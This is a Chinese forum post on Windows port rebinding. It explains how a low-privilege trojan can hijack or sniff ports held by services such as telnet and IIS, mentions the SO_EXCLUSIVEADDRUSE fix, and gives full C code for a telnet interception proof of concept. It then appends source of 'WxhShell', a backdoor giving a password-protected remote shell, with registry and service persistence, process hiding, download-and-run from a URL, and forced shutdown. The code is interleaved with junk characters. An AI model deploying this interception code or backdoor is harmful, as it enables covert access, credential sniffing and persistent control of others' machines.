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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O_v*,L!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Y7QmbX^  
SL`nt  
  saddr.sin_family = AF_INET; Lv<vMIr  
Fm[3Btn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wT+\:y  
rw[Ioyr-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fN6n2*wr(  
"Ve9\$_s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $-paYQ4  
1H8/b D  
  这意味着什么?意味着可以进行如下的攻击: Q6xA@"GJ  
[$ z-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vU9:` @beu  
L fZF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;]W@W1)$  
NJg )S2]7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4-oaq'//BT  
x !n8Wx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]$I}r= Em  
/z: mi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =G`g-E2  
dEZlJo@J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W@D./Th  
_P*QX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wv ^n#  
M<P8u`)>4H  
  #include :a9   
  #include tN z(s)  
  #include VPb8dv(a3  
  #include    Qw<&N$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LHSbc!Y'.  
  int main() #tA/)Jvi  
  { W"&,=wvg2  
  WORD wVersionRequested; -L!lJ  
  DWORD ret; x kdC -S  
  WSADATA wsaData; 6!wk5#  
  BOOL val; (QQkXlJ  
  SOCKADDR_IN saddr; 6i%X f i  
  SOCKADDR_IN scaddr; .sD=k3d  
  int err; ~nApRC)0  
  SOCKET s; S1U[{R?,  
  SOCKET sc; \r"gqv)^  
  int caddsize; TQ=HFs ~  
  HANDLE mt; 0B: v0 R  
  DWORD tid;   w^N QLV S  
  wVersionRequested = MAKEWORD( 2, 2 ); ~7m+N)5  
  err = WSAStartup( wVersionRequested, &wsaData ); "Cs36k  
  if ( err != 0 ) { S q{@4F}d  
  printf("error!WSAStartup failed!\n"); -_XTy!I  
  return -1; /y(0GP4A  
  } gj I>tz}  
  saddr.sin_family = AF_INET; HEw&'  
   ~ 7<M6F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G=|~SYz  
oXU b_/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L+}<gQJ(  
  saddr.sin_port = htons(23); 13+. >  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a4pewg'  
  { /i#";~sO  
  printf("error!socket failed!\n"); 2+ywl}9  
  return -1; U>DCra;  
  } uF<?y0t  
  val = TRUE; !;0K=~(Y^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l2I%$|)d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cQm4q19  
  {  K~B  
  printf("error!setsockopt failed!\n"); !s:e  
  return -1; 'xEK0~awD  
  } mhB2l/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ij;P5OA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8|zOgn{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c3r`T{Kf  
2f62 0   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bF5"ab0  
  { <_#2+7Qs  
  ret=GetLastError(); ]sJC%/  
  printf("error!bind failed!\n"); bkS"]q)>  
  return -1; \`E^>6!]q  
  } jcb&h@T8kv  
  listen(s,2); |gIE$rt-~W  
  while(1) fH$#vRcq  
  { MdmN7>  
  caddsize = sizeof(scaddr); 3R0ioi 7  
  //接受连接请求 eze%RjO}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2=/-,kOL_  
  if(sc!=INVALID_SOCKET) zTc*1(^  
  { Qj*.Z4ue  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xF@&wg  
  if(mt==NULL) 'C]Y h."u  
  { is~2{:  
  printf("Thread Creat Failed!\n"); K6sXw[VC[  
  break; niKfat?  
  } 0[e!/*_V  
  } 6?;z\ AP&  
  CloseHandle(mt); 9g>)7Ne  
  } )Yv=:+f  
  closesocket(s); |0Xf":  
  WSACleanup(); AI`k }sA~  
  return 0; Ri~$hs!  
  }   H2+b3y-1a]  
  DWORD WINAPI ClientThread(LPVOID lpParam) L9lJ4s  
  { 5OzEY7K)  
  SOCKET ss = (SOCKET)lpParam; !&9(D^  
  SOCKET sc; `G_~zt/  
  unsigned char buf[4096]; W"GW[~ h  
  SOCKADDR_IN saddr; eLnS1w 2  
  long num; 1m#.f=u{R  
  DWORD val; qR_>41JU"  
  DWORD ret; ^'a#FbMtt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bwH[rT!n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~$J(it-a  
  saddr.sin_family = AF_INET; ~UZ3 lN\E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &*%x]fQ@  
  saddr.sin_port = htons(23); ^ nI2<P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "r* `*1  
  { QXN_ ?E,g/  
  printf("error!socket failed!\n"); *BdH &U  
  return -1; &N._}ts  
  } JWIY0iP  
  val = 100; _OyQ:>M6P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  @O koT:  
  { 0%dOi ko  
  ret = GetLastError(); Kk6=61}A  
  return -1; 1^^8,.'  
  } v"W*@7<`S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "~^0  
  { ir/uHN@  
  ret = GetLastError(); doOuc4  
  return -1; *=.~PR6W{  
  } }Sbk qd5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cw{TS  
  { y<E]; ub  
  printf("error!socket connect failed!\n"); sQac%.H;`U  
  closesocket(sc); #79[Qtkrhm  
  closesocket(ss); k$JOHru  
  return -1; *LU/3H|}  
  } ao"2kqa)r  
  while(1) 6Eu(C]nC(  
  { PXkpttIE]M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )38%E;T{X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (u} /( Ux  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]i@73h YT  
  num = recv(ss,buf,4096,0); }`g-eF >p  
  if(num>0) mXOI"B9Sq  
  send(sc,buf,num,0); >Vjn]V5y  
  else if(num==0) !@F {FR  
  break; f|FS%]fCxk  
  num = recv(sc,buf,4096,0); "`V@?+3  
  if(num>0) BB\GrD  
  send(ss,buf,num,0); ]JYE#F  
  else if(num==0) OyF=G^w  
  break; R`Z"ey@C  
  } nOvR, 6  
  closesocket(ss); _ERtL5^  
  closesocket(sc); G<n75!  
  return 0 ; M|mfkIk0MB  
  } ]}XDDPbZ}  
$Gv@lZ@=  
>kK@tJn  
========================================================== ZBK0`7#&EH  
|HD>m'e  
下边附上一个代码,,WXhSHELL i7XY3yhC  
YWl#!"-  
========================================================== lAP k/G  
U?le|tK  
#include "stdafx.h" -smN}*3[  
0Eb4wupo  
#include <stdio.h> EXCE^Vw  
#include <string.h> 95z|}16UK  
#include <windows.h> 1 >j,v+  
#include <winsock2.h> qBX_v5pvVA  
#include <winsvc.h> '-YiV  
#include <urlmon.h> B_Q{B|eEt&  
)|xu5.F  
#pragma comment (lib, "Ws2_32.lib") Q_0+N3  
#pragma comment (lib, "urlmon.lib") FL^ _)`  
6r<a  
#define MAX_USER   100 // 最大客户端连接数 $G9LaD#;M  
#define BUF_SOCK   200 // sock buffer W_ `]7RO8  
#define KEY_BUFF   255 // 输入 buffer /)sP, 2/  
.EL3}6"A  
#define REBOOT     0   // 重启 .i RKuBM/  
#define SHUTDOWN   1   // 关机 +ig%_QED[\  
Lc{arhN  
#define DEF_PORT   5000 // 监听端口 @"MYq#2c$  
M/=36{,w-  
#define REG_LEN     16   // 注册表键长度 ly17FLJ].  
#define SVC_LEN     80   // NT服务名长度 k8+J7(_c  
hhy+bA}  
// 从dll定义API id1cZig  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |VWT4*K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m6ge %  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w5HIR/kP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m7'<k1#"Y  
UJI2L-;Ul  
// wxhshell配置信息 6MT (k:  
struct WSCFG { sX%n`L  
  int ws_port;         // 监听端口 ~{/M_ =  
  char ws_passstr[REG_LEN]; // 口令 V2Vr7v=Y"  
  int ws_autoins;       // 安装标记, 1=yes 0=no f[k#Znr  
  char ws_regname[REG_LEN]; // 注册表键名 Y7}Tuy dC  
  char ws_svcname[REG_LEN]; // 服务名 7z4k5d<^_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o{sv<$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \dtiv&x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I/Vw2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t^~vi'bB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eUA]OF @  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >o?v[:u*  
"#r)NYq`"|  
}; u;_h%z5K  
7EE{*}?0E  
// default Wxhshell configuration fZo#:"{/K  
struct WSCFG wscfg={DEF_PORT, T?pS2I~  
    "xuhuanlingzhe", )y,^M3$?C  
    1, 5)!g.8-!  
    "Wxhshell", :snO*Zg  
    "Wxhshell", \0b}Z#'0  
            "WxhShell Service", 90<g=B  
    "Wrsky Windows CmdShell Service", <giBL L!  
    "Please Input Your Password: ", 10FiA;  
  1, |:1{B1sqA  
  "http://www.wrsky.com/wxhshell.exe", .xsfq*3e5  
  "Wxhshell.exe" N;g@lyo  
    }; ^<CVQ8R7  
`pfIgryns  
// 消息定义模块 *U[yeE].  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }mj9$=B4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '>"{yi-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /sA&}kX}E  
char *msg_ws_ext="\n\rExit."; UY< PiP  
char *msg_ws_end="\n\rQuit."; %qoS(iO`h  
char *msg_ws_boot="\n\rReboot..."; T$%|=gq  
char *msg_ws_poff="\n\rShutdown..."; p\w<~ pN[  
char *msg_ws_down="\n\rSave to "; 4nsJZo#S/  
H$h#n~W~  
char *msg_ws_err="\n\rErr!"; j<p.#jkT  
char *msg_ws_ok="\n\rOK!"; l^lb ^"o  
M|*YeVs9#  
char ExeFile[MAX_PATH]; XIdh9)]^}  
int nUser = 0; D<SC `  
HANDLE handles[MAX_USER]; ;o9h|LRs  
int OsIsNt; dht0PZdx?  
h@Q^&%w  
SERVICE_STATUS       serviceStatus; 8<6H2~5<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  [SPx  
}D#: NlMp  
// 函数声明 DzAZv/h76  
int Install(void); ;V}:0{p  
int Uninstall(void); {~U3|_"[pX  
int DownloadFile(char *sURL, SOCKET wsh); yH/A9L,Z  
int Boot(int flag); .e~"+Pe6b  
void HideProc(void); UT<e/  
int GetOsVer(void); 5RP kAC  
int Wxhshell(SOCKET wsl); [8iY0m_Qe  
void TalkWithClient(void *cs); $'J3 /C7  
int CmdShell(SOCKET sock); k;l3^kTy  
int StartFromService(void); %j7b0pb  
int StartWxhshell(LPSTR lpCmdLine); npdljLN  
%_OjmXOfe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^#Ii=K-[^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <u64)8'  
T }#iXgyx  
// 数据结构和表定义 _?tpO61g>  
SERVICE_TABLE_ENTRY DispatchTable[] = ax&?Z5%a  
{ <`}P  
{wscfg.ws_svcname, NTServiceMain}, n Nt28n@  
{NULL, NULL} IzP,)!EE  
}; Pyo|Sgk  
b:dN )m  
// 自我安装 6_j |@  
int Install(void) &$MC!iMh  
{ n>Ff tVZNJ  
  char svExeFile[MAX_PATH]; s<O$ Y  
  HKEY key; R_!.vGhkN  
  strcpy(svExeFile,ExeFile); $YSXE :  
8z9 {H  
// 如果是win9x系统,修改注册表设为自启动 #{cy(&cz  
if(!OsIsNt) { @aIgif+v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5'zXCHt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Le]qR9Y]  
  RegCloseKey(key); HlGSt$woX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +,76|oMsQ%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `b?uQ\#-M  
  RegCloseKey(key); 4b;Mb  
  return 0; ZVjB$-do  
    } W XQ@kQD  
  } X6HaC+P  
} QN:v4,$d  
else { vF72#BNs  
kK? SG3  
// 如果是NT以上系统,安装为系统服务 ^tB 1Nu %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #Bd]M#J17a  
if (schSCManager!=0) UL+Txc  
{ 6D;N.wDZ  
  SC_HANDLE schService = CreateService SVCh!/qe\  
  ( p* >z:=  
  schSCManager, }3(!kW  
  wscfg.ws_svcname, 1JJsYX  
  wscfg.ws_svcdisp, owAO&"C  
  SERVICE_ALL_ACCESS, $dL..QH^K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y* +y&  
  SERVICE_AUTO_START, Y}?8  
  SERVICE_ERROR_NORMAL,  W2vL<  
  svExeFile, DR#" 3  
  NULL, 5 UEZpxnv  
  NULL, ~7]V^tG  
  NULL, *8}b&4O~  
  NULL, {r^_g(.q  
  NULL :Jd7q.  
  ); 4V+bE$Wu  
  if (schService!=0) c!6D{(sfh  
  { Itl8#LpLM  
  CloseServiceHandle(schService); l1+l@r\  
  CloseServiceHandle(schSCManager); Uj!3MF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o@:"3s  
  strcat(svExeFile,wscfg.ws_svcname); -  x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9[0iIT$q$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m^A2 8X7  
  RegCloseKey(key); 1Viz`y)^  
  return 0; -,J<X\  
    } FQZ*i\G>>  
  }  TGCB=e  
  CloseServiceHandle(schSCManager); f{sT*_at  
} 2b"*~O;  
} qE)FQeN  
E7Cobpm  
return 1; ) c@gRb~  
} tLE8+[ SU  
? x)^f+:9|  
// 自我卸载 q W(@p`  
int Uninstall(void) M:+CW;||!  
{ ,-UF5U  
  HKEY key; ,Z`}!%?  
H/,KY/>i  
if(!OsIsNt) { ":]X r!e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g3^s_*A  
  RegDeleteValue(key,wscfg.ws_regname); 8g#$Y2P  
  RegCloseKey(key); LmrdVSs_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [&lK.?V)  
  RegDeleteValue(key,wscfg.ws_regname); il0K ^i  
  RegCloseKey(key); O. * 0;5  
  return 0; J%&LQ9  
  } z:QDWH  
} "zEl2Xn28_  
} 4 Gu'WbJ  
else { G%W9?4_K  
u64#,mC[*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bC{4a_B  
if (schSCManager!=0) WtM%(8Y[]  
{ -cgO]q+Oq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ipSMmpB  
  if (schService!=0) +H-=`+,  
  { (NJ{>@&  
  if(DeleteService(schService)!=0) { LlTD =tJ0  
  CloseServiceHandle(schService); EGu%;[  
  CloseServiceHandle(schSCManager); ,KY;NbL-Jp  
  return 0; o[C^z7WG0  
  } s^k G]7  
  CloseServiceHandle(schService); QoD_`d  
  } J/1kJ@5  
  CloseServiceHandle(schSCManager); ]H1mj#EWU  
} #xI g(nG  
} yD9enYM  
QkrQM&Im  
return 1; 3",gjXmBu  
} >* -I Io  
9b. kso9.  
// 从指定url下载文件 K~(RV4oF8B  
int DownloadFile(char *sURL, SOCKET wsh) DUOoTl p  
{ g)hEzL0k  
  HRESULT hr; v\x l?F  
char seps[]= "/"; $>rt0LOF  
char *token;  3.&BhLT  
char *file; Iiy5;:CX:q  
char myURL[MAX_PATH]; 9{Hs1 MD[  
char myFILE[MAX_PATH]; zJDHDr  
-E-#@s  
strcpy(myURL,sURL); N_Us6 X  
  token=strtok(myURL,seps); G]lGoa}]`u  
  while(token!=NULL) &PMQ]B  
  { [gW eD  
    file=token; :jiEn y  
  token=strtok(NULL,seps); Fis!MMh.$  
  } n Kkpp-  
k!c7eP"%8^  
GetCurrentDirectory(MAX_PATH,myFILE); HE}0_x.  
strcat(myFILE, "\\");  _){|/Zd  
strcat(myFILE, file); g/GI'8EMj  
  send(wsh,myFILE,strlen(myFILE),0); y0%@^^-Ru  
send(wsh,"...",3,0); } z'Jsy[s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); De$~ *2  
  if(hr==S_OK) |$WHw*F^  
return 0; 9*"  
else -]3K#M)s  
return 1; (HNc9QVC'W  
Mc,79Ix"  
} ,np=m17  
?2@^O=I  
// 系统电源模块 jWdviS9&g  
int Boot(int flag) ]\yIHdcDi  
{ Ib(C`4%  
  HANDLE hToken; is;g`m  
  TOKEN_PRIVILEGES tkp; ?:R]p2ID  
6h9(u7(-N  
  if(OsIsNt) { ]E9iaq6Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |MNSIb&,W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rto?*^N?  
    tkp.PrivilegeCount = 1; HUKrp*Hv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !LK xZ"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); := V?;  
if(flag==REBOOT) { k+J3Kl09hM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) geQ!}zXWi  
  return 0; l*ltS(?  
} ,TBOEu."4  
else { _c>iux;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BM :x`JY  
  return 0; N*gJu  
} /k.0gYD  
  } E '6>3n  
  else { "L>'X22ed  
if(flag==REBOOT) { N{Sp-J>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @IG's-  
  return 0; OVLVsNg  
} HLyA zB~r  
else { 8xy8/UBIk0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fJFNS y  
  return 0; TXImmkC  
} MlV(XG>'  
} .n\JY;"  
xe@e#9N$  
return 1; @eYpARF  
} lZk  z\  
7Ae`>5B#  
// win9x进程隐藏模块 X,Ql6uO  
void HideProc(void) D||0c"E  
{ LOUP  
Tm" H9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oidZWy  
  if ( hKernel != NULL ) Jm_)}dj3o  
  { 4 \z@Evm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IO)Y0J>x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qd a 2  
    FreeLibrary(hKernel); ebA:Sq:w  
  } dIC\U  
YZ~MByu  
return; J3yK^@&&  
} ).KA0-  
"7cty\  
// 获取操作系统版本 B.N#9u-vW  
int GetOsVer(void) D07M!U  
{ z:Am1B  
  OSVERSIONINFO winfo; ~"+"6zg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1EU4/6!C  
  GetVersionEx(&winfo); _=g&^_ #t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9evr!=":  
  return 1; /A9RmTb  
  else 8lQ}-8  
  return 0; 5 kHaZ Q  
} 217G[YE-  
=j>xu|q  
// 客户端句柄模块 x80IS:TP  
int Wxhshell(SOCKET wsl) rXB;#ypO  
{ ' i+L  
  SOCKET wsh; tpWGmj fo>  
  struct sockaddr_in client; xQsxc  
  DWORD myID; G+dq */  
sq$v6x sl  
  while(nUser<MAX_USER) OnTe_JML  
{ 5dj" UxH  
  int nSize=sizeof(client); ]\*^G@HA2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3d}v?q78  
  if(wsh==INVALID_SOCKET) return 1; NQ{(G8x9  
)oIh?-WL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v3r3$(Hr  
if(handles[nUser]==0) ?V6,>e_+  
  closesocket(wsh); #E]K*mE'  
else #/>TuJc  
  nUser++; um,f!ho-U  
  } ]-gyXE1.r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z0[@O)Sj  
ggD T5hb  
  return 0; bRvGetX  
} =:rg1wo"c  
$tZ {>!N  
// 关闭 socket 5` ^@k<  
void CloseIt(SOCKET wsh) f|{iW E2d  
{ 868X/lL  
closesocket(wsh); s%:fZ7y  
nUser--; fo ~uI(rk  
ExitThread(0); wm~7`&  
} |62` {+  
 sS-dHa  
// 客户端请求句柄  9q"kM  
void TalkWithClient(void *cs) 4l 67B]o  
{ x9YQd69  
$toTMah w  
  SOCKET wsh=(SOCKET)cs; zu d_BOq{f  
  char pwd[SVC_LEN]; Im;%.J  
  char cmd[KEY_BUFF]; ;e?M;-  
char chr[1]; K1@ Pt}  
int i,j; </[.1&S+\  
S=4o@3%$  
  while (nUser < MAX_USER) { 9xR5Jm>k  
ovKM;cRs/  
if(wscfg.ws_passstr) { ABCm2$<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jR%*,IeB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gG?@_ie  
  //ZeroMemory(pwd,KEY_BUFF); 7P1Pk?pxy  
      i=0; PYCN3s#Gi  
  while(i<SVC_LEN) { sh :$J[  
#8Bh5L!SJ1  
  // 设置超时 ?tLApy^`?  
  fd_set FdRead; uSfHlN4l  
  struct timeval TimeOut; !1l~UB_  
  FD_ZERO(&FdRead); n3iiW \  
  FD_SET(wsh,&FdRead); v]k-x n|$j  
  TimeOut.tv_sec=8; s|\)Y*B`  
  TimeOut.tv_usec=0; V_h&9]RL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e a=E/HR-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z|t=t"6"  
^8 VW$}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }a;xs};X;  
  pwd=chr[0]; B%tF|KKj  
  if(chr[0]==0xd || chr[0]==0xa) { $7q3[skH  
  pwd=0; Mq\=pxC@  
  break; hhU_kI  
  } D7hTn@I  
  i++; .~i|kc]Ue  
    } Go%Z^pF3CO  
VM$n|[C~  
  // 如果是非法用户,关闭 socket -`faXFW'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mi=mwN%UB  
} NzT &K7v  
`G$>T#Dq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BA h'H&;V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ei5YxV6I  
}5+^  
while(1) { H~FI@Cf$L  
3X gJZ  
  ZeroMemory(cmd,KEY_BUFF); Ksx-Y"  
S>oEk3zlw  
      // 自动支持客户端 telnet标准   QoYEWXT|g  
  j=0; pA!-spgX  
  while(j<KEY_BUFF) { RRja{*R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kn^+kHh:  
  cmd[j]=chr[0]; W1REF9i){  
  if(chr[0]==0xa || chr[0]==0xd) { ]Q"T8drL  
  cmd[j]=0; TsFhrtnx&X  
  break; -lo?16w  
  }  {b!{~q  
  j++; YdhV a!Y  
    } <@Q27oEuA  
d]0:r]e  
  // 下载文件 w;,34qbf  
  if(strstr(cmd,"http://")) { T?RY~GA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m}l);P^  
  if(DownloadFile(cmd,wsh)) <H^jbK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GlJ[rD  
  else ^("b~-cJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &@lfr623  
  } e* [wF}))  
  else { w-Ph-L/  
xeF>"6\  
    switch(cmd[0]) { Zv@qdY<:  
  `PARZ|  
  // 帮助 E^)FnXe5  
  case '?': { 'iW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vbmt0df  
    break; &. =8Q?  
  } lrE"phYk  
  // 安装 TdPd8ig8{  
  case 'i': { "}3sL#|z  
    if(Install()) ]he~KO[j<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `W x| 4  
    else <N)!s&D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5{HF'1XgZ*  
    break; H q6%$!q  
    } UV2W~g  
  // 卸载 }R;}d(C`  
  case 'r': { sRt7.fe  
    if(Uninstall()) TJv .T2|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"=Hk@E  
    else %6q82}#`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]fajj\  
    break; 0BXr[%{`  
    } eay|>xa2  
  // 显示 wxhshell 所在路径 Un]wP`  
  case 'p': { ! t!4CY  
    char svExeFile[MAX_PATH]; DQ8/]Z{H  
    strcpy(svExeFile,"\n\r"); 0h1u W26^  
      strcat(svExeFile,ExeFile); Y*BmBRN  
        send(wsh,svExeFile,strlen(svExeFile),0); Jh.~]\u  
    break; '@Uu/~;h  
    } Q>$B.z  
  // 重启 OkC.e')Vx  
  case 'b': { vhF9|('G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +JI,6)Ry  
    if(Boot(REBOOT)) 8oE`>Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!om"h  
    else { sV#%U%un  
    closesocket(wsh); ~Z5AImR|  
    ExitThread(0); Bv7FZK3  
    } bo#xqSGQ  
    break; ir6aV|ea!  
    } ?q`i MiN  
  // 关机 O[ z0+Q?6Z  
  case 'd': { &KMI C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N'y<<tTA  
